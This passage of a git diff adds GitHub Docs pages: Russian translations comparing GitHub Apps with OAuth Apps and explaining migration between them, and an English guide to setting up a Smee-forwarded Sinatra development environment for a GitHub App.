----- | ------ | +| Установка приложения GitHub предоставляет приложению доступ к выбранным репозиториям учетной записи пользователя или организации. | Авторизация приложения OAuth предоставляет приложению доступ к ресурсам, доступным пользователю. Например, к репозиториям, к которым у него есть доступ. | +| Маркер установки из приложения GitHub теряет доступ к ресурсам, когда администратор удаляет репозитории из установки. | Маркер доступа OAuth теряет доступ к ресурсам, когда пользователь теряет доступ, например при отмене доступа на запись в репозиторий. | +| Маркеры доступа установки ограничиваются указанными репозиториями с разрешениями, выбранными создателем приложения. | Маркер доступа OAuth ограничивается через области действия. | +| Приложения GitHub могут запрашивать доступ отдельно к проблемам и запросам на вытягивание, без доступа к фактическому содержимому репозитория. | Приложения OAuth должны запросить область действия `repo`, чтобы получить доступ к проблемам, запросам на вытягивание или любым другим ресурсам репозитория. | +| Приложения GitHub не подчиняются политикам приложений организации. Приложение GitHub имеет доступ только к репозиториям, для которых владелец организации предоставил соответствующие разрешения. | Если политика приложения организации активна, то только владелец организации может разрешить установку приложения OAuth. При установке приложение OAuth получает доступ к любым ресурсам, видимым для маркера, который владелец организации имеет в утвержденной организации. | +| Приложение GitHub получает событие веб-перехватчика при изменении или удалении установки. Это позволяет создателю приложения узнать, что он получил или потерял доступ к определенным ресурсам организации. | Приложения OAuth могут в любое время потерять доступ к организации или репозиторию, если изменится уровень доступа пользователя. Приложение OAuth не сообщает, когда теряет доступ к ресурсу. | + +## Идентификация на основе маркеров + +{% note %} + +**Примечание.** Приложения GitHub также могут использовать маркер на основе пользователя. Дополнительные сведения см. в статье [Идентификация и авторизация пользователей для приложений GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). + +{% endnote %} + +| Приложения GitHub | Приложения OAuth | +| ----- | ----------- | +| Приложение GitHub может вне основного процесса запросить маркер доступа к установке с использованием закрытого ключа в формате веб-маркера JSON. | Приложение OAuth может обменять маркер запроса на маркер доступа после перенаправления через веб-запрос. | +| Маркер установки идентифицирует приложение как бот приложений GitHub, например @jenkins-bot. | Маркер доступа идентифицирует приложение как пользователя, который предоставил этот маркер приложению, например @octocat. | +| Срок действия маркеров установки истекает через определенное время (в настоящее время это 1 час). | Маркеры OAuth остаются активными, пока они не будут отозваны клиентом. | +| Для {% data variables.product.prodname_github_apps %}, установленных в организациях или репозиториях, применяются ограничения частоты запросов между серверами. Дополнительные сведения см. в статье [Ограничения скорости для {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/rate-limits-for-github-apps). | Маркеры OAuth используют ограничение скорости для пользователя: {% ifversion fpt or ghec or ghes %}5000{% elsif ghae %}15 000{% endif %} запросов в час. | +| Разрешения на увеличение ограничений скорости можно предоставлять как на уровне приложений GitHub (это затронет все установки), так и на уровне отдельных установок. | Разрешение на увеличение ограничения скорости предоставляется для каждого приложения OAuth. Каждый маркер, предоставленный этому приложению OAuth, получает увеличенное ограничение. | +| {% data variables.product.prodname_github_apps %} может выполнять проверку подлинности от имени пользователя. Такой механизм называется запросом от пользователя к серверу. Поток для авторизации аналогичен потоку авторизации приложения OAuth. Маркеры "пользователь-сервер" имеют ограниченный срок действия, который можно продлить с помощью маркера обновления. Дополнительные сведения см. в статьях [Обновление маркеров доступа "пользователь — сервер"](/apps/building-github-apps/refreshing-user-to-server-access-tokens/) и [Идентификация и авторизация пользователей для приложений GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). | Поток OAuth, который используется в {% data variables.product.prodname_oauth_apps %}, авторизует {% data variables.product.prodname_oauth_app %} от имени пользователя. Аналогичный поток, который используется в {% data variables.product.prodname_github_app %} для авторизации запросов от пользователя к серверу. | + +## Запрос уровней разрешений для ресурсов + +В отличие от приложений OAuth, приложения GitHub имеют целевые разрешения, позволяющие им запрашивать доступ только к тем ресурсам, которые им нужны. Например, приложение GitHub для непрерывной интеграции (CI) может запрашивать доступ на чтение к содержимому репозитория и доступ на запись к API состояния. Другое приложение GitHub может управлять проблемами, метками и вехами, не имея доступа на чтение или запись к коду. Приложения OAuth не могут использовать детализированные разрешения. + +| Access | Приложения GitHub (разрешения `read` или `write`) | Приложения OAuth | +| ------ | ----- | ----------- | +| **Доступ к общедоступным репозиториям** | Во время установки необходимо выбрать общедоступный репозиторий. | Область `public_repo`. | +| **Доступ к коду или содержимому репозитория** | Содержимое репозитория | Область `repo`. | +| **Доступ к проблемам, меткам и вехам** | Проблемы | Область `repo`. | +| **Доступ к запросам на вытягивание, меткам и вехам** | Запросы на вытягивание | Область `repo`. | +| **Доступ к состояниям фиксации (для сборок CI)** | Состояния фиксаций | Область `repo:status`. | +| **Доступ к развертываниям и состояниям развертывания** | Развернутые приложения | Область `repo_deployment`. | +| **Для получения событий через веб-перехватчик** | Приложение GitHub по умолчанию включает веб-перехватчик. | Область `write:repo_hook` или `write:org_hook`. | + +## Обнаружение репозитория + +| Приложения GitHub | Приложения OAuth | +| ----- | ----------- | +| Приложения GitHub могут получить из `/installation/repositories` список репозиториев, к которые установка имеет доступ. | Приложения OAuth могут получить из `/user/repos` представление пользователя, а из `/orgs/:org/repos` — представление организации для доступных репозиториев. | +| Приложения GitHub получают действия веб-перехватчиков при добавлении репозиториев в установку и при удалении их из нее. | Приложения OAuth создают действия веб-перехватчиков организации для уведомлений о создании нового репозитория в организации. | + +## Веб-перехватчики + +| Приложения GitHub | Приложения OAuth | +| ----- | ----------- | +| По умолчанию приложения GitHub имеют один веб-перехватчик, который получает события, для которых она настроен, по каждому репозиторию, к которому он имеет доступ. | Приложения OAuth запрашивают область веб-перехватчика, чтобы создать веб-перехватчик на уровне репозитория для каждого репозитория, из которого они будут получать события. | +| Приложения GitHub получают определенные события уровня организации с разрешения участника этой организации. | Приложения OAuth запрашивают область веб-перехватчика организации, чтобы создать веб-перехватчик организации для каждой организации, из которых они будут получать события уровня организации. | +| Веб-перехватчики автоматически отключаются при удалении приложения GitHub. | Веб-перехватчики не отключаются автоматически, если маркер доступа приложения OAuth удаляется, и их невозможно очистить автоматически. Вам придется обратиться к пользователям с просьбой сделать это вручную.| + +## Доступ к Git + +| Приложения GitHub | Приложения OAuth | +| ----- | ----------- | +| Приложения GitHub запрашивают разрешение содержимого репозитория и используют маркер установки для проверки подлинности с помощью [Git на основе HTTP](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | Приложения OAuth запрашивают область `write:public_key` и [создают ключ развертывания](/rest/reference/deployments#create-a-deploy-key) через API. Затем этот ключ можно использовать для выполнения команд Git. | +| Этот маркер используется в качестве пароля HTTP. | Этот маркер используется в качестве имени пользователя HTTP. | + +## Учетные записи компьютеров и ботов + +Учетные записи пользователей компьютера — это личные учетные записи на основе OAuth, которые используются для различения автоматизированных систем на основе системы пользователей GitHub. + +Учетные записи ботов используются только в приложениях GitHub и встраиваются в каждое приложение GitHub. + +| Приложения GitHub | Приложения OAuth | +| ----- | ----------- | +| Боты приложений GitHub не используют рабочее место {% data variables.product.prodname_enterprise %}. | Каждая учетная запись пользователя использует одно рабочее место {% data variables.product.prodname_enterprise %}. | +| Так как боту приложения GitHub никогда не назначается пароль, клиент не может войти в него напрямую. | Учетной записи пользователя компьютера предоставляется имя пользователя и пароль, управление и защиту для которого клиент выполняет самостоятельно. | diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/index.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/index.md new file mode 100644 index 000000000000..de4aea57c31c --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/index.md @@ -0,0 +1,24 @@ +--- +title: Начало работы с приложениями +intro: Узнайте о создании приложений и настройке среды разработки. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +children: + - /about-apps + - /activating-optional-features-for-apps + - /differences-between-github-apps-and-oauth-apps + - /migrating-oauth-apps-to-github-apps + - /setting-up-your-development-environment-to-create-a-github-app +ms.openlocfilehash: 2367a4f135d5c65f41147190f1a06bc96a2ecb28 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145089962' +--- + diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md new file mode 100644 index 000000000000..30ec0d15792b --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md @@ -0,0 +1,115 @@ +--- +title: Переход с OAuth Apps на GitHub Apps +intro: 'Узнайте о преимуществах переноса {% data variables.product.prodname_oauth_app %} в {% data variables.product.prodname_github_app %} и о том, как перенести {% data variables.product.prodname_oauth_app %}, которого нет в {% data variables.product.prodname_marketplace %}. ' +redirect_from: + - /apps/migrating-oauth-apps-to-github-apps + - /developers/apps/migrating-oauth-apps-to-github-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Migrate from OAuth Apps +ms.openlocfilehash: 4fea258cc9677401d8212634fdcc04abf22724c9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147081035' +--- +В этой статье приведены рекомендации для существующих интеграторов, которые позволяют выполнять переход с OAuth Apps на GitHub Apps. + +## Причины перехода на GitHub Apps + +[GitHub Apps](/apps/) — это официально рекомендуемый способ интеграции с GitHub, так как это решение предлагает множество преимуществ по сравнению с чистой интеграцией на основе OAuth: + +- [Избирательные разрешения](/apps/differences-between-apps/#requesting-permission-levels-for-resources) предназначены для предоставления GitHub Apps доступа к определенной информации, что позволяет более широко использовать приложение людьми и организациями с политиками безопасности по сравнению с OAuth Apps без ограничивающих разрешений. +- [Кратковременные токены](/apps/differences-between-apps/#token-based-identification) обеспечивают более безопасный метод аутентификации по сравнению с токенами OAuth. Срок действия токена OAuth не истекает до тех пор, пока лицо, которое авторизовало экземпляр OAuth Apps, не отзовет токен. В GitHub Apps используются токены с коротким сроком действия, что значительно сокращает время использования скомпрометированных токенов. +- [Встроенные централизованные веб-перехватчики](/apps/differences-between-apps/#webhooks) получают события для всех репозиториев и организаций, к которым может получить доступ приложение. И наоборот, в OAuth Apps требуется настройка веб-перехватчика для каждого репозитория и организации, доступных пользователю. +- [Учетные записи ботов](/apps/differences-between-apps/#machine-vs-bot-accounts) не занимают рабочие места {% data variables.product.product_name %} и остаются установленными, даже если пользователь, изначально установивший приложение, покидает организацию. +- Встроенная поддержка OAuth по-прежнему доступна для GitHub Apps, использующих [конечные точки между пользователей и сервером](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/). +- Выделенные [ограничения скорости API](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) для учетных записей ботов масштабируются с учетом вашей интеграции. +- Владельцы репозиториев могут [устанавливать GitHub Apps](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) в репозиториях организации. Если конфигурация GitHub Apps имеет разрешения, запрашивающие ресурсы организации, владелец организации должен одобрить установку. +- Поддержка сообщества с открытым кодом доступна через [библиотеки Octokit](/rest/overview/libraries) и другие платформы, такие как [Probot](https://probot.github.io/). +- Интеграторы, создающие GitHub Apps, имеют возможность использовать более ранний доступ к API. + +## Преобразование OAuth Apps в GitHub Apps + +В этих рекомендациях предполагается, что у вас есть зарегистрированный экземпляр OAuth Apps {% ifversion fpt or ghec %}, который может быть или не быть указан в GitHub Marketplace {% endif %}. В общем вам нужно будет выполнить следующие шаги: + +1. [Просмотр доступных конечных точек API для GitHub Apps](#review-the-available-api-endpoints-for-github-apps) +1. [Проектирование для ограничения скорости API](#design-to-stay-within-api-rate-limits) +1. [Регистрация нового приложения в GitHub Apps](#register-a-new-github-app) +1. [Определение необходимых разрешений для приложения](#determine-the-permissions-your-app-requires) +1. [Подписка на веб-перехватчики](#subscribe-to-webhooks) +1. [Знакомство с разными методами проверки подлинности](#understand-the-different-methods-of-authentication) +1. [Предложение пользователям установить ваш экземпляр GitHub Apps](#direct-users-to-install-your-github-app-on-repositories) +1. [Удаление ненужных перехватчиков репозитория](#remove-any-unnecessary-repository-hooks) +1. [Предложение пользователям отозвать доступ к экземпляру OAuth Apps](#encourage-users-to-revoke-access-to-your-oauth-app) +1. [Удаление экземпляра OAuth Apps](#delete-the-oauth-app) + +### Просмотр доступных конечных точек API для GitHub Apps + +Хотя большинство конечных точек [REST API](/rest) и запросов [GraphQL](/graphql) сегодня доступны для GitHub Apps, мы все еще находимся в процессе включения некоторых конечных точек. Просмотрите [доступные конечные точки REST](/rest/overview/endpoints-available-for-github-apps), чтобы убедиться, что необходимые конечные точки совместимы с GitHub Apps. Обратите внимание, что некоторые конечные точки API, включенные для GitHub Apps, позволяют приложению действовать от имени пользователя. Список конечных точек, которые разрешают GitHub Apps выполнять проверку подлинности в качестве пользователя, см. в разделе [Запросы между пользователем и сервером](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests). + +Рекомендуется как можно раньше просмотреть список конечных точек API. Сообщите в службу поддержки, если вам нужна конечная точка, которая еще не включена для {% data variables.product.prodname_github_apps %}. + +### Проектирование для ограничения скорости API + +В GitHub Apps используются [скользящие правила для ограничений скорости](/apps/building-github-apps/understanding-rate-limits-for-github-apps/), которые могут изменяться с учетом количества репозиториев и пользователей в организации. В GitHub Apps также могут использоваться [условные запросы](/rest/overview/resources-in-the-rest-api#conditional-requests) или консолидироваться запросы с помощью [API GraphQL](/graphql). + +### Регистрация нового приложения в GitHub Apps + +Когда вы решите перейти на GitHub Apps, необходимо [создать новый экземпляр GitHub Apps](/apps/building-github-apps/). + +### Определение необходимых разрешений для приложения + +При регистрации экземпляра GitHub Apps необходимо выбрать разрешения, требуемые для каждой конечной точки, используемой в коде приложения. Список разрешений, требуемых для каждой конечной точки, доступной для GitHub Apps, см. в разделе [Разрешения GitHub Apps](/rest/reference/permissions-required-for-github-apps). + +В параметрах GitHub Apps можно указать, требуется ли вашему приложению доступ к `No Access`, `Read-only` или `Read & Write` для каждого типа разрешений. Избирательные разрешения позволяют вашему приложению получать целевой доступ к набору необходимых вам данных. Мы рекомендуем указать минимально возможный набор разрешений, обеспечивающий желаемую функциональность. + +### Подписка на веб-перехватчики + +Когда вы создадите экземпляр GitHub Apps и выберете его разрешения, вы сможете выбрать события веб-перехватчика, на которые вы хотите подписаться. Сведения о том, как подписаться на веб-перехватчики, см. в разделе [Изменение разрешений GitHub Apps](/apps/managing-github-apps/editing-a-github-app-s-permissions/). + +### Знакомство с разными методами проверки подлинности + +В GitHub Apps в основном используется проверка подлинности на основе токенов, срок действия которых истекает через короткий промежуток времени, что обеспечивает большую безопасность, чем токен OAuth, срок действия которого не истекает. Важно знать разницу между доступными вам методами проверки подлинности и ситуации, когда их нужно использовать: + +* **JSON Web Token (JWT)** [выполняет проверку подлинности как экземпляр GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). Например, можно выполнить проверку подлинности с помощью **JWT**, чтобы получить сведения об установке приложения или обменять **JWT** на **маркер доступа установки**. +* **Маркер доступа установки** [выполняет проверку подлинности в качестве конкретной установки экземпляра GitHub Apps](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (запросы между серверами). Например, вы можете выполнить проверку подлинности с помощью **маркера доступа установки**, чтобы открыть проблему или отправить отзыв по запросу на вытягивание. +* **Маркер доступа OAuth** может [выполнять проверку подлинности в качестве пользователя экземпляра GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (запросы между пользователем и сервером). Например, вы можете использовать маркер доступа OAuth для проверки подлинности пользователя, когда экземпляру GitHub Apps необходимо подтвердить личность пользователя или действовать от его имени. + +Наиболее распространенным сценарием является проверка подлинности в качестве конкретной установки с помощью **маркера доступа установки**. + +### Предложение пользователям установить ваш экземпляр GitHub Apps + +После перехода с OAuth Apps на GitHub Apps необходимо сообщить пользователям, что экземпляр GitHub Apps доступен для установки. Например, можно включить ссылку на установку экземпляра GitHub Apps в баннер вызова действия в приложении. Чтобы упростить переход, вы можете использовать параметры запроса, чтобы идентифицировать учетную запись пользователя или организации, которая проходит процесс установки для вашего экземпляра GitHub Apps, и предварительно выбрать любые репозитории, к которым ваш экземпляр OAuth Apps имел доступ. Это позволит пользователям легко устанавливать GitHub Apps в репозиториях, к которых у вас уже есть доступ. + +#### Параметры запроса + +| Имя | Описание | +|------|-------------| +| `suggested_target_id` | **Обязательный.** Идентификатор пользователя или организации, устанавливающей GitHub Apps. | +| `repository_ids[]` | Массив идентификаторов репозитория. Если этот параметр опущен, мы выбираем все репозитории. Максимальное число репозиториев, которые можно предварительно выбрать, — 100. | + +#### Пример URL-адреса +``` +https://github.com/apps/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID +``` + +Вам нужно будет изменить `YOUR_APP_NAME` на имя вашего экземпляра GitHub Apps, `ID_OF_USER_OR_ORG` на идентификатор вашего целевого пользователя или организации и включить до 100 идентификаторов репозитория (`REPO_A_ID` и `REPO_B_ID`). Чтобы получить список репозиториев, к которым у вашего экземпляра OAuth Apps есть доступ, используйте конечные точки [Перечисление репозиториев для аутентифицированных пользователей](/rest/reference/repos#list-repositories-for-the-authenticated-user) и [Перечисление репозиториев организации](/rest/reference/repos#list-organization-repositories). + +### Удаление ненужных перехватчиков репозитория + +Когда вы установите экземпляр GitHub Apps в репозитории, удалите ненужные веб-перехватчики, созданные устаревшим экземпляром OAuth Apps. Если оба приложения будут установлены в репозитории, они могут дублировать функции для пользователя. Чтобы удалить веб-перехватчики, можно прослушивать [веб-перехватчик `installation_repositories`](/webhooks/event-payloads/#installation_repositories) с `repositories_added` помощью действия и [удалить веб-перехватчик репозитория](/rest/reference/webhooks#delete-a-repository-webhook) в этих репозиториях, созданных экземпляром OAuth Apps. + +### Предложение пользователям отозвать доступ к экземпляру OAuth Apps + +С расширением базы установки GitHub Apps рекомендуется поощрять пользователей отменять доступ к устаревшей интеграции OAuth. Дополнительные сведения см. в разделе [Авторизация приложений OAuth](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps). + +### Удаление экземпляра OAuth Apps + +Чтобы избежать злоупотребления учетными данными экземпляра OAuth Apps, рекомендуется удалить этот экземпляр OAuth Apps. Это действие также отменит все оставшиеся разрешения экземпляра OAuth Apps. Дополнительные сведения см. в разделе [Удаление экземпляра OAuth Apps](/developers/apps/managing-oauth-apps/deleting-an-oauth-app). diff --git a/translations/ru-RU/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md b/translations/ru-RU/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md new file mode 100644 index 000000000000..c0806fccb280 --- /dev/null +++ b/translations/ru-RU/content/developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app.md @@ -0,0 +1,453 @@ +--- +title: Setting up your development environment to create a GitHub App +intro: 'Learn the foundations for extending and building new {% data variables.product.prodname_github_apps %}.' +redirect_from: + - /apps/quickstart-guides/setting-up-your-development-environment + - /developers/apps/setting-up-your-development-environment-to-create-a-github-app +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub Apps +shortTitle: Development environment +--- +## Introduction + +This guide will walk through the steps needed to configure a GitHub App and run it on a server. GitHub Apps require some setup steps to manage webhook events and connect the app registration on GitHub to your code. The app in this guide serves as a foundation that you can use to extend and build new GitHub Apps. + +By the end of this guide you'll have registered a GitHub App and set up a web server to receive webhook events. You'll learn how to use a tool called Smee to capture webhook payloads and forward them to your local development environment. The template app you'll configure in this section won't do anything special yet, but it will serve as a framework you can use to start writing app code using the API or complete other [quickstart guides](/apps/quickstart-guides/). {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %} + +After completing this project you will understand how to authenticate as a GitHub App and an installation, and how those authentication methods are different. + +Here are the steps you'll take to configure the template GitHub App: + +1. [Start a new Smee channel](#step-1-start-a-new-smee-channel) +1. [Register a new GitHub App](#step-2-register-a-new-github-app) +1. [Save your private key and App ID](#step-3-save-your-private-key-and-app-id) +1. [Prepare the runtime environment](#step-4-prepare-the-runtime-environment) +1. [Review the GitHub App template code](#step-5-review-the-github-app-template-code) +1. [Start the server](#step-6-start-the-server) +1. [Install the app on your account](#step-7-install-the-app-on-your-account) + +{% data reusables.apps.app-ruby-guides %} + +## Prerequisites + +You may find it helpful to have a basic understanding of the following: + +* [GitHub Apps](/apps/about-apps) +* [Webhooks](/webhooks) +* [The Ruby programming language](https://www.ruby-lang.org/en/) +* [REST APIs](/rest) +* [Sinatra](http://sinatrarb.com/) + +But you can follow along at any experience level. We'll link out to information you need along the way! + +Before you begin, you'll need to clone the repository with the template code used in this quickstart. Open your Terminal app and find a directory where you'd like to store the code. Run this command to clone the [GitHub App template](https://github.com/github-developer/github-app-template) repository: + +```shell +$ git clone https://github.com/github-developer/github-app-template.git +``` + +## Step 1. Start a new Smee channel + +To help GitHub send webhooks to your local machine without exposing it to the internet, you can use a tool called Smee. First, go to https://smee.io and click **Start a new channel**. If you're already comfortable with other tools that expose your local machine to the internet like [`ngrok`](https://dashboard.ngrok.com/get-started) or [`localtunnel`](https://localtunnel.github.io/www/), feel free to use those. + +![The Smee new channel button](/assets/images/smee-new-channel.png) + +Starting a new Smee channel creates a unique domain where GitHub can send webhook payloads. You'll need to know this domain for the next step. Here is an example of a unique domain at `https://smee.io/qrfeVRbFbffd6vD`: + +![A Smee unique channel](/assets/images/smee-unique-domain.png) + +Next, go back to the Terminal and follow these steps to run the Smee command-line interface (CLI) client: + +{% note %} + +**Note:** The following steps are slightly different than the "Use the CLI" instructions you'll see in your Smee channel page. You do **not** need to follow the "Use the Node.js client" or "Using Probot's built-in support" instructions. + +{% endnote %} + +1. Install the client: + + ```shell + $ npm install --global smee-client + ``` + +2. Run the client (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own domain): + + ```shell + $ smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000 + ``` + + You should see output like the following: + + ```shell + Forwarding https://smee.io/qrfeVRbFbffd6vD to http://127.0.0.1:3000/event_handler + Connected https://smee.io/qrfeVRbFbffd6vD + ``` + +The `smee --url <unique_channel>` command tells Smee to forward all webhook events received by the Smee channel to the Smee client running on your computer. The `--path /event_handler` option forwards events to the `/event_handler` route, which we'll cover in a [later section](#step-5-review-the-github-app-template-code). The `--port 3000` option specifies port 3000, which is the port your server will be listening to. Using Smee, your machine does not need to be open to the public internet to receive webhooks from GitHub. You can also open that Smee URL in your browser to inspect webhook payloads as they come in. + +We recommend leaving this Terminal window open and keeping Smee connected while you complete the rest of the steps in this guide. Although you _can_ disconnect and reconnect the Smee client without losing your unique domain (unlike `ngrok`), you may find it easier to leave it connected and do other command-line tasks in a different Terminal window. + +## Step 2. Register a new GitHub App + +If you don't yet have a GitHub account, now is a [great time to join](https://github.com/join). Don't forget to verify your email before continuing! To register a new app, visit the [app settings page](https://github.com/settings/apps) in your GitHub profile, and click **New GitHub App**. + +![GitHub website, showing the **New App**](/assets/images/new-app.png) + +You'll see a form where you can enter details about your app. See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" for general information about the fields on this page. For the purposes of this guide, you'll need to enter specific data in a few fields: + +{% note %} + +**Note:** You can always update these settings later to point to a hosted server. + +{% endnote %} + +* For the "Homepage URL", use the domain issued by Smee. For example: + + ![Form with Smee domain filled in for homepage URL](/assets/images/homepage-url.png) + +* For the "Webhook URL", again use the domain issued by Smee. For example: + + ![Form with Smee domain filled in for webhook URL](/assets/images/webhook-url.png) + +* For the "Webhook secret", create a password to secure your webhook endpoints. This should be something that only you (and GitHub, via this form) know. The secret is important because you will be receiving payloads from the public internet, and you'll use this secret to verify the webhook sender. Note that the GitHub App settings say the webhook secret is optional, which is true in most cases, but for the template app code to work, you must set a webhook secret. + + ![Form with webhook secret filled in](/assets/images/webhook-secret.png) + +* On the Permissions & Webhooks page, you can specify a set of permissions for your app, which determines how much data your app has access to. Under the "Repository permissions" + section, scroll down to "Metadata" and select `Access: Read-only`. If you decide to extend this template app, you can update these permissions later. + +* At the bottom of the Permissions & Webhooks page, specify whether this is a private app or a public app. This refers to who can install it: just you, or anyone in the world? For now, leave the app as private by selecting **Only on this account**. + + ![GitHub App privacy](/assets/images/create_app.png) + +Click **Create GitHub App** to create your app! + +## Step 3. Save your private key and App ID + +After you create your app, you'll be taken back to the [app settings page](https://github.com/settings/apps). You have two more things to do here: + +* **Generate a private key for your app.** This is necessary to authenticate your app later on. Scroll down on the page and click **Generate a private key**. Save the resulting `PEM` file (called something like _`app-name`_-_`date`_-`private-key.pem`) in a directory where you can find it again. + + ![The private key generation dialog](/assets/images/private_key.png) + +* **Note the app ID GitHub has assigned your app.** You'll need this to prepare your runtime environment. + + <img src="/assets/images/app_id.png" alt="Your app's ID number" width="200px"/> + +## Step 4. Prepare the runtime environment + +To keep your information secure, we recommend putting all your app-related secrets in your computer's memory where your app can find them, rather than putting them directly in your code. A handy development tool called [dotenv](https://github.com/bkeepers/dotenv) loads project-specific environment variables from a `.env` file to `ENV`. Never check your `.env` file into GitHub. This is a local file that stores sensitive information that you don't want on the public internet. The `.env` file is already included in the repository's [`.gitignore`](/github/getting-started-with-github/ignoring-files/) file to prevent that. + +The template code you downloaded in the [Prerequisites section](#prerequisites) already has an example file called `.env-example`. Rename the example file from `.env-example` to `.env` or create a copy of the `.env-example` file called `.env`. You haven't installed dotenv yet, but you will install it later in this quickstart when you run `bundle install`. **Note:** Quickstarts that reference the steps in this guide may include additional environment variables in the `.env-example` file. Reference the quickstart guide for the project you've cloned on GitHub for guidance setting those additional environment variables. + +You need to add these variables to the `.env` file: + +* _`GITHUB_PRIVATE_KEY`_: Add the private key you [generated and saved previously](#step-3-save-your-private-key-and-app-id). Open the `.pem` file with a text editor or use the command line to display the contents of the file: `cat path/to/your/private-key.pem`. Copy the entire contents of the file as the value of `GITHUB_PRIVATE_KEY` in your `.env` file. **Note:** Because the PEM file is more than one line you'll need to add quotes around the value like the example below. +* _`GITHUB_APP_IDENTIFIER`_: Use the app ID you noted in the previous section. +* _`GITHUB_WEBHOOK_SECRET`_: Add your webhook secret. + +Here is an example `.env` file: + +``` +GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- +... +HkVN9... +... +-----END DSA PRIVATE KEY-----" +GITHUB_APP_IDENTIFIER=12345 +GITHUB_WEBHOOK_SECRET=your webhook secret +``` + +## Step 5. Review the GitHub App template code + +The template app code already contains some code that every GitHub App will need. This sections walks you through the code that already exists in the GitHub App template. There aren't any steps that you need to complete in this section. If you're already familiar with the template code, you can skip ahead to "[Step 6. Start the server](#step-6-start-the-server)." + +Open up the `template_server.rb` file in your favorite text editor. You'll see comments throughout this file that provide additional context for the template code. We recommend reading those comments carefully and even adding your own comments to accompany new code you write. + +At the top of the file you'll see `set :port 3000`, which sets the port used when starting the web server to match the port you redirected your webhook payloads to in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)." + +The next code you'll see is the `class GHApp < Sinatra::Application` declaration. You'll write all of the code for your GitHub App inside this class. + +Out of the box, the class in the template does the following things: +* [Read the environment variables](#read-the-environment-variables) +* [Turn on logging](#turn-on-logging) +* [Define a before filter](#define-a-before-filter) +* [Define the route handler](#define-a-route-handler) +* [Define the helper methods](#define-the-helper-methods) + +### Read the environment variables + +The first thing that this class does is read the three environment variables you set in "[Step 4. Prepare the runtime environment](#step-4-prepare-the-runtime-environment)" and store them in variables to use later: + +``` ruby +# Expects that the private key in PEM format. Converts the newlines +PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) + +# Your registered app must have a secret set. The secret is used to verify +# that webhooks are sent by GitHub. +WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET'] + +# The GitHub App's identifier (type integer) set when registering an app. +APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER'] +``` + +### Turn on logging + +Next is a code block that enables logging during development, which is the default environment in Sinatra. This code turns on logging at the `DEBUG` level to show useful output in the Terminal while you are developing the app: + +``` ruby +# Turn on Sinatra's verbose logging during development +configure :development do + set :logging, Logger::DEBUG +end +``` + +### Define a before filter + +Sinatra uses [before filters](https://github.com/sinatra/sinatra#filters) that allow you to execute code before the route handler. The `before` block in the template calls four [helper methods](https://github.com/sinatra/sinatra#helpers). The template app defines those helper methods in a [later section](#define-the-helper-methods). + +``` ruby +# Before each request to the `/event_handler` route +before '/event_handler' do + get_payload_request(request) + verify_webhook_signature + authenticate_app + # Authenticate the app installation in order to run API operations + authenticate_installation(@payload) +end +``` + +### Define a route handler + +An empty route is included in the template code. This code handles all `POST` requests to the `/event_handler` route. You won't write this event handler in this quickstart, but see the other [quickstart guides](/apps/quickstart-guides/) for examples of how to extend this template app. + +``` ruby +post '/event_handler' do + +end +``` + +### Define the helper methods + +The helper methods in this template do most of the heavy lifting. Four helper methods are defined in this section of the code. + +#### Handling the webhook payload + +The first method `get_payload_request` captures the webhook payload and converts it to JSON format, which makes accessing the payload's data much easier. + +#### Verifying the webhook signature + +The second method `verify_webhook_signature` performs verification of the webhook signature to ensure that GitHub generated the event. To learn more about the code in the `verify_webhook_signature` helper method, see "[Securing your webhooks](/webhooks/securing/)." If the webhooks are secure, this method will log all incoming payloads to your Terminal. The logger code is helpful in verifying your web server is working but you can always remove it later. + +#### 